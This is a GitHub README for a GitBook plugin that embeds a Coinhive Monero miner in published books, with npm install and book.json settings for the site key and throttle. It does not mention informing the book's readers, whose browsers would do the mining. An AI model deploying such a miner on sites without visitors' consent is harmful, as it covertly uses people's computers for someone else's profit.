Skip to content

caimaoy/plugin-xmr

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

6 Commits
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

XMR for GitBook

You can use install it via NPM:

$ npm install gitbook-plugin-xmr

And use it for your book with in the book.json:

{
    "plugins": ["xmr"]
}

You can set the site key of https://coinhive.com using the plugins configuration in the book.json:

{
    "plugins": ["xmr"],
    "pluginsConfig": {
        "xmr": {
            "siteKey": "YOUR-SITE-KEY"
        }
    }
}

You can also set the throttle of the miner:

{
    "plugins": ["xmr"],
    "pluginsConfig": {
        "xmr": {
            "siteKey": "YOUR-SITE-KEY",
            "throttle": 0.3
        }
    }
}

For an overview of the miner, please refer to the website

About

A Crypto Miner for your gitbook by using https://coinhive.com/

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published